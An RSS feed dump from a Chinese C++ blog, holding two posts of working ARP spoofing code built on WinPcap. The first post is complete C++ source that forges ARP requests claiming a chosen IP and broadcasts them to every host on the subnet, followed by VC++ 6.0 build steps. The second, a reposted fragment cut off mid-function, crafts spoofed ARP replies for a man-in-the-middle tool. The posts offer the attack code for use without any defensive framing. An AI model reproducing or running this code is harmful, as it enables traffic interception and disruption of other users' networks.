﻿<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:trackback="http://madskills.com/public/xml/rss/module/trackback/" xmlns:wfw="http://wellformedweb.org/CommentAPI/" xmlns:slash="http://purl.org/rss/1.0/modules/slash/"><channel><title>C++博客-binghuo-随笔分类-black</title><link>http://www.cppblog.com/binghuo/category/9763.html</link><description /><language>zh-cn</language><lastBuildDate>Tue, 10 Mar 2009 00:23:23 GMT</lastBuildDate><pubDate>Tue, 10 Mar 2009 00:23:23 GMT</pubDate><ttl>60</ttl><item><title>ARP欺骗源代码（基于WinPcap实现）</title><link>http://www.cppblog.com/binghuo/archive/2009/03/10/76071.html</link><dc:creator>冰火</dc:creator><author>冰火</author><pubDate>Tue, 10 Mar 2009 00:09:00 GMT</pubDate><guid>http://www.cppblog.com/binghuo/archive/2009/03/10/76071.html</guid><wfw:comment>http://www.cppblog.com/binghuo/comments/76071.html</wfw:comment><comments>http://www.cppblog.com/binghuo/archive/2009/03/10/76071.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cppblog.com/binghuo/comments/commentRss/76071.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/binghuo/services/trackbacks/76071.html</trackback:ping><description><![CDATA[<span class=Apple-style-span style="WORD-SPACING: 0px; FONT: 14px/23px 宋体; TEXT-TRANSFORM: none; COLOR: rgb(0,0,0); TEXT-INDENT: 0px; WHITE-SPACE: normal; LETTER-SPACING: normal; BORDER-COLLAPSE: separate; orphans: 2; widows: 2; webkit-border-horizontal-spacing: 0px; webkit-border-vertical-spacing: 0px; webkit-text-decorations-in-effect: none; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0">//ArpCheat.h<span class=Apple-converted-space> </span><br><br>#ifndef MY_ARP_CHEAT_INCLUDE_H<span class=Apple-converted-space> </span><br>#define MY_ARP_CHEAT_INCLUDE_H<span class=Apple-converted-space> </span><br><br>//字节对齐必须是1<span class=Apple-converted-space> </span><br>#pragma pack (1)<span class=Apple-converted-space> </span><br>struct ethernet_head<span class=Apple-converted-space> </span><br>{<span class=Apple-converted-space> </span><br>unsigned char dest_mac[6]; //目标主机MAC地址<span class=Apple-converted-space> </span><br>unsigned char source_mac[6]; //源端MAC地址<span class=Apple-converted-space> </span><br>unsigned short eh_type; //以太网类型<span class=Apple-converted-space> </span><br>};<span class=Apple-converted-space> </span><br><br>struct arp_head<span class=Apple-converted-space> </span><br>{<span class=Apple-converted-space> </span><br>unsigned short hardware_type; //硬件类型：以太网接口类型为1<span class=Apple-converted-space> </span><br>unsigned short protocol_type; //协议类型：IP协议类型为0X0800<span class=Apple-converted-space> </span><br>unsigned char add_len; //硬件地址长度：MAC地址长度为6B<span class=Apple-converted-space> </span><br>unsigned char pro_len; //协议地址长度：IP地址长度为4B<span class=Apple-converted-space> </span><br>unsigned short option; //操作：ARP请求为1，ARP应答为2<span class=Apple-converted-space> </span><br>unsigned char sour_addr[6]; //源MAC地址：发送方的MAC地址<span class=Apple-converted-space> </span><br>unsigned long sour_ip; //源IP地址：发送方的IP地址<span class=Apple-converted-space> </span><br>unsigned char dest_addr[6]; //目的MAC地址：ARP请求中该字段没有意义；ARP响应中为接收方的MAC地址<span class=Apple-converted-space> </span><br>unsigned long dest_ip; //目的IP地址：ARP请求中为请求解析的IP地址；ARP响应中为接收方的IP地址<br>unsigned char padding[18];<span class=Apple-converted-space> </span><br>};<span class=Apple-converted-space> </span><br><br>struct arp_packet //最终arp包结构<span class=Apple-converted-space> </span><br>{<span class=Apple-converted-space> </span><br>ethernet_head eth; //以太网头部<span class=Apple-converted-space> </span><br>arp_head arp; //arp数据包头部<span class=Apple-converted-space> </span><br>};<span class=Apple-converted-space> </span><br>#pragma pack ()<span class=Apple-converted-space> </span><br>/**<span class=Apple-converted-space> </span><br>* 获得网卡的MAC地址<span class=Apple-converted-space> </span><br>* pDevName 网卡的设备名称<span class=Apple-converted-space> </span><br>*/<span class=Apple-converted-space> </span><br>unsigned char* GetSelfMac(char* pDevName);<span class=Apple-converted-space> </span><br>/**<span class=Apple-converted-space> </span><br>* 封装ARP请求包<span class=Apple-converted-space> </span><br>* source_mac 源MAC地址<span class=Apple-converted-space> </span><br>* srcIP 源IP<span class=Apple-converted-space> </span><br>* destIP 目的IP<span class=Apple-converted-space> </span><br>*/<span class=Apple-converted-space> </span><br>unsigned char* BuildArpPacket(unsigned char* source_mac,<span class=Apple-converted-space> </span><br><br>unsigned long srcIP, unsigned long destIP);<span class=Apple-converted-space> </span><br><br><br><br>#endif<span class=Apple-converted-space> </span><br><br><br><br><br><br>//ArpCheat.cpp<span class=Apple-converted-space> </span><br>#include &lt;stdio.h&gt;<span class=Apple-converted-space> </span><br>#include &lt;pcap.h&gt;<span class=Apple-converted-space> </span><br>#include &lt;conio.h&gt;<span class=Apple-converted-space> </span><br>#include &lt;packet32.h&gt;<span class=Apple-converted-space> </span><br>#include &lt;ntddndis.h&gt;<span class=Apple-converted-space> </span><br>#include "ArpCheat.h"<span class=Apple-converted-space> </span><br><br>int main(int argc,char* argv[]){<span class=Apple-converted-space> </span><br>pcap_if_t *alldevs; //全部网卡列表<span class=Apple-converted-space> </span><br>pcap_if_t *d; //一个网卡<span class=Apple-converted-space> </span><br>int inum; //用户选择的网卡序号<span class=Apple-converted-space> </span><br>int i=0; //循环变量<span class=Apple-converted-space> </span><br>pcap_t *adhandle; //一个pcap实例<span class=Apple-converted-space> </span><br>char errbuf[PCAP_ERRBUF_SIZE]; //错误缓冲区<span class=Apple-converted-space> </span><br>unsigned char *mac; //本机MAC地址<span class=Apple-converted-space> </span><br>unsigned char *packet; //ARP包<span class=Apple-converted-space> </span><br>unsigned long fakeIp; //要伪装成的IP地址<span class=Apple-converted-space> </span><br>pcap_addr_t *pAddr; //网卡地址<span class=Apple-converted-space> </span><br>unsigned long ip; //IP地址<span class=Apple-converted-space> </span><br>unsigned long netmask; //子网掩码<span class=Apple-converted-space> </span><br><br>if(argc!=2){<span class=Apple-converted-space> </span><br>printf("Usage: %s inet_addr\n",argv[0]);<span class=Apple-converted-space> </span><br>return -1;<span class=Apple-converted-space> </span><br>}<span class=Apple-converted-space> </span><br><br>//从参数列表获得要伪装的IP地址<span class=Apple-converted-space> </span><br>fakeIp = inet_addr(argv[1]);<span class=Apple-converted-space> </span><br>if(INADDR_NONE==fakeIp){<span class=Apple-converted-space> </span><br>fprintf(stderr,"Invalid IP: %s\n",argv[1]);<span class=Apple-converted-space> </span><br>return -1;<span class=Apple-converted-space> </span><br>}<span class=Apple-converted-space> </span><br><br>/* 获得本机网卡列表 */<span class=Apple-converted-space> </span><br>if (pcap_findalldevs_ex(PCAP_SRC_IF_STRING, NULL, &amp;alldevs, errbuf) == -1)<span class=Apple-converted-space> </span><br>{<span class=Apple-converted-space> </span><br>fprintf(stderr,"Error in pcap_findalldevs: %s\n", errbuf);<span class=Apple-converted-space> </span><br>exit(1);<span class=Apple-converted-space> </span><br>}<span class=Apple-converted-space> </span><br><br>/* 打印网卡列表 */<span class=Apple-converted-space> </span><br>for(d=alldevs; d; d=d-&gt;next)<span class=Apple-converted-space> </span><br>{<span class=Apple-converted-space> </span><br>printf("%d", ++i);<span class=Apple-converted-space> </span><br>if (d-&gt;description)<span class=Apple-converted-space> </span><br>printf(". %s\n", d-&gt;description);<span class=Apple-converted-space> </span><br>else<span class=Apple-converted-space> </span><br>printf(". No description available\n");<span class=Apple-converted-space> </span><br>}<span class=Apple-converted-space> </span><br>//如果没有发现网卡<span class=Apple-converted-space> </span><br>if(i==0)<span class=Apple-converted-space> </span><br>{<span class=Apple-converted-space> </span><br>printf("\nNo interfaces found! Make sure WinPcap is installed.\n");<span class=Apple-converted-space> </span><br>return -1;<span class=Apple-converted-space> </span><br>}<span class=Apple-converted-space> </span><br>//请用户选择一个网卡<span class=Apple-converted-space> </span><br>printf("Enter the interface number (1-%d):",i);<span class=Apple-converted-space> </span><br>scanf("%d", &amp;inum);<span class=Apple-converted-space> </span><br><br>//如果用户选择的网卡序号超出有效范围，则退出<span class=Apple-converted-space> </span><br>if(inum &lt; 1 || inum &gt; i)<span class=Apple-converted-space> </span><br>{<span class=Apple-converted-space> </span><br>printf("\nInterface number out of range.\n");<span class=Apple-converted-space> </span><br>/* Free the device list */<span class=Apple-converted-space> </span><br>pcap_freealldevs(alldevs);<span class=Apple-converted-space> </span><br>return -1;<span class=Apple-converted-space> </span><br>}<span class=Apple-converted-space> </span><br><br><br><br><br>/* 移动指针到用户选择的网卡 */<span class=Apple-converted-space> </span><br>for(d=alldevs, i=0; i&lt; inum-1 ;d=d-&gt;next, i++);<span class=Apple-converted-space> </span><br><br>mac = GetSelfMac(d-&gt;name+8); //+8以去掉"rpcap://"<span class=Apple-converted-space> </span><br><br>printf("发送ARP欺骗包，本机(%.2X-%.2X-%.2X-%.2X-%.2X-%.2X) 试图伪装成%s\n",<span class=Apple-converted-space> </span><br>mac[0],mac[1],mac[2],mac[3],mac[4],mac[5],argv[1]);<span class=Apple-converted-space> </span><br><br><br><br>/* 打开网卡 */<span class=Apple-converted-space> </span><br>if ( (adhandle= pcap_open(d-&gt;name, // name of the device<span class=Apple-converted-space> </span><br>65536, // portion of the packet to capture<span class=Apple-converted-space> </span><br>0, //open flag<span class=Apple-converted-space> </span><br>1000, // read timeout<span class=Apple-converted-space> </span><br>NULL, // authentication on the remote machine<span class=Apple-converted-space> </span><br>errbuf // error buffer<span class=Apple-converted-space> </span><br>) ) == NULL)<span class=Apple-converted-space> </span><br>{<span class=Apple-converted-space> </span><br>fprintf(stderr,"\nUnable to open the adapter. %s is not supported by WinPcap\n",<span class=Apple-converted-space> </span><br>d-&gt;name);<span class=Apple-converted-space> </span><br>/* Free the device list */<span class=Apple-converted-space> </span><br>pcap_freealldevs(alldevs);<span class=Apple-converted-space> </span><br>return -1;<span class=Apple-converted-space> </span><br>}<span class=Apple-converted-space> </span><br><br>for(pAddr=d-&gt;addresses; pAddr; pAddr=pAddr-&gt;next){<span class=Apple-converted-space> </span><br>//得到用户选择的网卡的一个IP地址<span class=Apple-converted-space> </span><br>ip = ((struct sockaddr_in *)pAddr-&gt;addr)-&gt;sin_addr.s_addr;<span class=Apple-converted-space> </span><br>//得到该IP地址对应的子网掩码<span class=Apple-converted-space> </span><br>netmask = ((struct sockaddr_in *)(pAddr-&gt;netmask))-&gt;sin_addr.S_un.S_addr;<span class=Apple-converted-space> </span><br>if (!ip || !netmask){<span class=Apple-converted-space> </span><br>continue;<span class=Apple-converted-space> </span><br>}<span class=Apple-converted-space> </span><br>//看看这个IP和要伪装的IP是否在同一个子网<span class=Apple-converted-space> </span><br>if((ip&amp;netmask)!=(fakeIp&amp;netmask)){<span class=Apple-converted-space> </span><br>continue; //如果不在一个子网，继续遍历地址列表<span class=Apple-converted-space> </span><br>}<span class=Apple-converted-space> </span><br><br>unsigned long netsize = ntohl(~netmask); //网络中主机数<br><span class=Apple-style-span style="WORD-SPACING: 0px; FONT: 14px/23px 宋体; TEXT-TRANSFORM: none; COLOR: rgb(0,0,0); TEXT-INDENT: 0px; WHITE-SPACE: normal; LETTER-SPACING: normal; BORDER-COLLAPSE: separate; orphans: 2; widows: 2; webkit-border-horizontal-spacing: 0px; webkit-border-vertical-spacing: 0px; webkit-text-decorations-in-effect: none; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0">unsigned long net = ip &amp; netmask; //子网地址<span class=Apple-converted-space> </span><br><br>for(unsigned long n=1; n&lt;netsize; n++){<span class=Apple-converted-space> </span><br>//第i台主机的IP地址，网络字节顺序<span class=Apple-converted-space> </span><br>unsigned long destIp = net | htonl(n);<span class=Apple-converted-space> </span><br>//构建假的ARP请求包，达到本机伪装成给定的IP地址的目的<span class=Apple-converted-space> </span><br>packet = BuildArpPacket(mac,fakeIp,destIp);<span class=Apple-converted-space> </span><br>if(pcap_sendpacket(adhandle, packet, 60)==-1){<span class=Apple-converted-space> </span><br>fprintf(stderr,"pcap_sendpacket error.\n");<span class=Apple-converted-space> </span><br>}<span class=Apple-converted-space> </span><br>}<span class=Apple-converted-space> </span><br><br>}<span class=Apple-converted-space> </span><br><br>return 0;<span class=Apple-converted-space> </span><br>}<span class=Apple-converted-space> </span><br>/**<span class=Apple-converted-space> </span><br>* 获得网卡的MAC地址<span class=Apple-converted-space> </span><br>* pDevName 网卡的设备名称<span class=Apple-converted-space> </span><br>*/<span class=Apple-converted-space> </span><br>unsigned char* GetSelfMac(char* pDevName){<span class=Apple-converted-space> </span><br><br>static u_char mac[6];<span class=Apple-converted-space> </span><br><br>memset(mac,0,sizeof(mac));<span class=Apple-converted-space> </span><br><br>LPADAPTER lpAdapter = PacketOpenAdapter(pDevName);<span class=Apple-converted-space> </span><br><br>if (!lpAdapter || (lpAdapter-&gt;hFile == INVALID_HANDLE_VALUE))<span class=Apple-converted-space> </span><br>{<span class=Apple-converted-space> </span><br>return NULL;<span class=Apple-converted-space> </span><br>}<span class=Apple-converted-space> </span><br><br>PPACKET_OID_DATA OidData = (PPACKET_OID_DATA)malloc(6 + sizeof(PACKET_OID_DATA));<span class=Apple-converted-space> </span><br>if (OidData == NULL)<span class=Apple-converted-space> </span><br>{<span class=Apple-converted-space> </span><br>PacketCloseAdapter(lpAdapter);<span class=Apple-converted-space> </span><br>return NULL;<span class=Apple-converted-space> </span><br>}<span class=Apple-converted-space> </span><br>//<span class=Apple-converted-space> </span><br>// Retrieve the adapter MAC querying the NIC driver<span class=Apple-converted-space> </span><br>//<span class=Apple-converted-space> </span><br>OidData-&gt;Oid = OID_802_3_CURRENT_ADDRESS;<span class=Apple-converted-space> </span><br><br>OidData-&gt;Length = 6;<span class=Apple-converted-space> </span><br>memset(OidData-&gt;Data, 0, 6);<span class=Apple-converted-space> </span><br>BOOLEAN Status = PacketRequest(lpAdapter, FALSE, OidData);<span class=Apple-converted-space> </span><br>if(Status)<span class=Apple-converted-space> </span><br>{<span class=Apple-converted-space> </span><br>memcpy(mac,(u_char*)(OidData-&gt;Data),6);<span class=Apple-converted-space> </span><br>}<span class=Apple-converted-space> </span><br>free(OidData);<span class=Apple-converted-space> </span><br>PacketCloseAdapter(lpAdapter);<span class=Apple-converted-space> </span><br>return mac;<span class=Apple-converted-space> </span><br><br>}<span class=Apple-converted-space> </span><br><br>/**<span class=Apple-converted-space> </span><br>* 封装ARP请求包<span class=Apple-converted-space> </span><br>* source_mac 源MAC地址<span class=Apple-converted-space> </span><br>* srcIP 源IP<span class=Apple-converted-space> </span><br>* destIP 目的IP<span class=Apple-converted-space> </span><br>*/<span class=Apple-converted-space> </span><br>unsigned char* BuildArpPacket(unsigned char* source_mac,<span class=Apple-converted-space> </span><br>unsigned long srcIP,unsigned long destIP)<span class=Apple-converted-space> </span><br>{<span class=Apple-converted-space> </span><br>static struct arp_packet packet;<span class=Apple-converted-space> </span><br><br>//目的MAC地址为广播地址，FF-FF-FF-FF-FF-FF<span class=Apple-converted-space> </span><br>memset(packet.eth.dest_mac,0xFF,6);<span class=Apple-converted-space> </span><br>//源MAC地址<span class=Apple-converted-space> </span><br>memcpy(packet.eth.source_mac,source_mac,6);<span class=Apple-converted-space> </span><br>//上层协议为ARP协议，0x0806<span class=Apple-converted-space> </span><br>packet.eth.eh_type = htons(0x0806);<span class=Apple-converted-space> </span><br><br>//硬件类型，Ethernet是0x0001<span class=Apple-converted-space> </span><br>packet.arp.hardware_type = htons(0x0001);<span class=Apple-converted-space> </span><br>//上层协议类型，IP为0x0800<span class=Apple-converted-space> </span><br>packet.arp.protocol_type = htons(0x0800);<span class=Apple-converted-space> </span><br>//硬件地址长度：MAC地址长度为0x06<span class=Apple-converted-space> </span><br>packet.arp.add_len = 0x06;<span class=Apple-converted-space> </span><br>//协议地址长度：IP地址长度为0x04<span class=Apple-converted-space> </span><br>packet.arp.pro_len = 0x04;<span class=Apple-converted-space> </span><br>//操作：ARP请求为1<span class=Apple-converted-space> </span><br>packet.arp.option = htons(0x0001);<span class=Apple-converted-space> </span><br>//源MAC地址<span class=Apple-converted-space> </span><br>memcpy(packet.arp.sour_addr,source_mac,6);<span class=Apple-converted-space> </span><br>//源IP地址<span class=Apple-converted-space> </span><br>packet.arp.sour_ip = srcIP;<span class=Apple-converted-space> </span><br>//目的MAC地址，填充0<span class=Apple-converted-space> </span><br>memset(packet.arp.dest_addr,0,6);<span class=Apple-converted-space> </span><br>//目的IP地址<span class=Apple-converted-space> </span><br>packet.arp.dest_ip = destIP;<span class=Apple-converted-space> </span><br>//填充数据，18B<span class=Apple-converted-space> </span><br>memset(packet.arp.padding,0,18);<span class=Apple-converted-space> </span><br><br>return (unsigned char*)&amp;packet;<span class=Apple-converted-space> </span><br>}<span class=Apple-converted-space> </span><br><br>VC++ 6.0 中使用WinPcap<span class=Apple-converted-space> </span><br>下载并安装WinPcap，安装之后在目录&#8221;C:\WINDOWS\system32&#8220;下WinPcap添加了Packet.dll、wpcap.dll。<span class=Apple-converted-space> </span><br>增加WinPcap的include和lib路径：<span class=Apple-converted-space> </span><br>Tools&#8594;Options&#8594;Directories，其中include文件的路径增加WinPcap的include路径（其中有pcap.h等头文件），library文件的路径增加WinPcap的lib路径（其中有Packet.lib和wpcap.lib）。<span class=Apple-converted-space> </span><br>增加项目的静态链接库：<span class=Apple-converted-space> </span><br>Project&#8594;Settings&#8594;Link&#8594;Object/library Modules，在文本框的末尾添加&#8221;wpcap.lib packet.lib ws2_32.lib&#8220;。<span class=Apple-converted-space> </span><br>增加预编译信息：<span class=Apple-converted-space> </span><br>Project&#8594;Settings&#8594;C/C++&#8594;Preprocessor definitions，在文本框的末尾添加&#8221;WPCAP,HAVE_REMOTE&#8220;。</span></span>
<img src ="http://www.cppblog.com/binghuo/aggbug/76071.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/binghuo/" target="_blank">冰火</a> 2009-03-10 08:09 <a href="http://www.cppblog.com/binghuo/archive/2009/03/10/76071.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>详谈调用winpcap驱动写arp多功能工具三(转载)</title><link>http://www.cppblog.com/binghuo/archive/2009/03/10/76070.html</link><dc:creator>冰火</dc:creator><author>冰火</author><pubDate>Tue, 10 Mar 2009 00:07:00 GMT</pubDate><guid>http://www.cppblog.com/binghuo/archive/2009/03/10/76070.html</guid><wfw:comment>http://www.cppblog.com/binghuo/comments/76070.html</wfw:comment><comments>http://www.cppblog.com/binghuo/archive/2009/03/10/76070.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cppblog.com/binghuo/comments/commentRss/76070.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/binghuo/services/trackbacks/76070.html</trackback:ping><description><![CDATA[<font size=2>DWORD WINAPI sendSR(LPVOID no)<br>{<br>&nbsp;&nbsp;&nbsp; int&nbsp;&nbsp;&nbsp;&nbsp; fun=*(int *)no;<br>&nbsp;&nbsp;&nbsp; int&nbsp;&nbsp;&nbsp;&nbsp; j,k;<br>&nbsp;&nbsp;&nbsp; char&nbsp;&nbsp;&nbsp; sendbuf[1024];<br>&nbsp;&nbsp;&nbsp; struct&nbsp; sockaddr_in&nbsp; fsin,ssin;<br>&nbsp;&nbsp;&nbsp; BOOL&nbsp;&nbsp;&nbsp; stimes=FALSE;<br>&nbsp;&nbsp;&nbsp; ETHDR&nbsp;&nbsp; eth;<br>&nbsp;&nbsp;&nbsp; ARPHDR&nbsp; arp;</font>
<p><font size=2>&nbsp;&nbsp;&nbsp; fsin.sin_addr.s_addr=htonl(firstip);<br>&nbsp;&nbsp;&nbsp; ssin.sin_addr.s_addr=htonl(secondip);</font></p>
<p><font size=2>&nbsp;&nbsp;&nbsp; eth.eh_type=htons(ETH_ARP);<br>&nbsp;&nbsp;&nbsp; arp.arp_hdr=htons(ARP_HARDWARE);<br>&nbsp;&nbsp;&nbsp; arp.arp_pro=htons(ETH_IP);<br>&nbsp;&nbsp;&nbsp; arp.arp_hln=6;<br>&nbsp;&nbsp;&nbsp; arp.arp_pln=4;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; arp.arp_opt=htons(ARP_REPLY);&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </font></p>
<p><font size=2>&nbsp;&nbsp;&nbsp; if(fun==3)<br>&nbsp;&nbsp;&nbsp; {<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if(mm)<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if((firstip==myip) &amp;&amp; (secondip==myip))<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; fm=TRUE;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; sm=TRUE;</font></p>
<p><font size=2>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; memcpy(fmac,mmac,6);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; memcpy(smac,mmac,6);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; else if(!fm || !sm)<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; printf("\nNot get enough data\n"); <br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return -1;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }</font></p>
<p><font size=2>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; for(j=0;j&lt;2;j++)<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if(j==0)<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; printf("\nSpoofing %.16s :&nbsp; ",inet_ntoa(fsin.sin_addr));<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; printf("%.16s ==&gt; ",inet_ntoa(ssin.sin_addr));<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; else if(j==1)<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; printf("Spoofing %.16s :&nbsp; ",inet_ntoa(ssin.sin_addr));<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; printf("%.16s ==&gt; ",inet_ntoa(fsin.sin_addr));<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; for(k=0;k&lt;5;k++)<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; printf("%.2x-",mmac[k]);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; printf("%.2x\n",mmac[5]);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; printf("\ni will try to snoof ...\n\n");<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; stimes=TRUE;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; else <br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; printf("\nNot get enough data\n"); <br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return -1;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<br>&nbsp;&nbsp;&nbsp; }<br>&nbsp;&nbsp;&nbsp; else if(fun==4)<br>&nbsp;&nbsp;&nbsp; {<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if(mm) <br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if((firstip==myip) &amp;&amp; (secondip==myip))<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; fm=TRUE;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; sm=TRUE;</font></p>
